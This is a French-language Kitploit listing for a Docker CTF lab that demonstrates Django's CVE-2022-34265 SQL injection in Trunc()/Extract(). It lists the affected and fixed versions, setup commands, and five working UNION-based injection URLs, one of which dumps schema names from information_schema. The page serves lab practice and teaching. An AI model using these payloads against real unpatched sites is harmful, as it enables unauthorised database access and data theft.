Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CTF_Django_CVE-2022-34265 — Défi CTF basé sur Docker démontrant une injection SQL dans les fonctions de base de données Trunc() et Extract() de Django (CVE-2022-34265) avec des exemples de payload de type UNION. | Kitploit
Outils/GitHubGitHub/lnwza0x0a/ctf_django_cve-2022-34265
Analyse des VulnérabilitésExploitation d'Applications WebCTFApprentissage et ÉducationSécurité des Bases de DonnéesLabs et Pratique
GitHublnwza0x0a/ctf_django_cve-2022-34265

CTF_Django_CVE-2022-34265

Défi CTF basé sur Docker démontrant une injection SQL dans les fonctions de base de données Trunc() et Extract() de Django (CVE-2022-34265) avec des exemples de payload de type UNION.

Voir le dépôt
115il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CTF_CVE-2022-34265

Description

Un problème a été découvert dans Django 3.2 avant 3.2.14 et 4.0 avant 4.0.6. Les fonctions de base de données Trunc() et Extract() sont sujettes à l'injection SQL si des données non fiables sont utilisées comme valeur kind/lookup_name. Les applications qui limitent le choix du nom de recherche et du type à une liste sûre connue ne sont pas affectées.

Comment utiliser

Démarrer

git clone https://github.com/coco0x0a/CTF_CVE-2022-34265
cd CVE-2022-34265
sudo docker-compose up -d

Vérifier l'état

sudo docker ps

Supprimer

sudo docker-compose down

Versions affectées

  • Django>= 3.2, < 3.2.14

  • Django >= 4.0, < 4.0.6

Versions corrigées

  • Django 3.2.14

  • Django 4.0.6

Vérification

Environnement

  • Django 4.0.5
  • Python 3.8.13
  • MySQL 5.7

Injection SQL

en utilisant UNION

http://127.0.0.1:8000/extract/?lookup_name=year%20FROM%20start_datetime))%20OR%201=1%20UNION%20SELECT%201--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, 2, 3, 4, 5, 6, 7--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT "TEST", now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT CONCAT(table_name, '~', column_name), now(), now(), now(), now(), now(), now() FROM information_schema.columns--

image

Références

https://github.com/aeyesec/CVE-2022-34265

https://github.com/ZhaoQi99/CVE-2022-34265

https://github.com/suksit/writeups/tree/main/secplayground/half-year-event-2022

Télécharger l’outil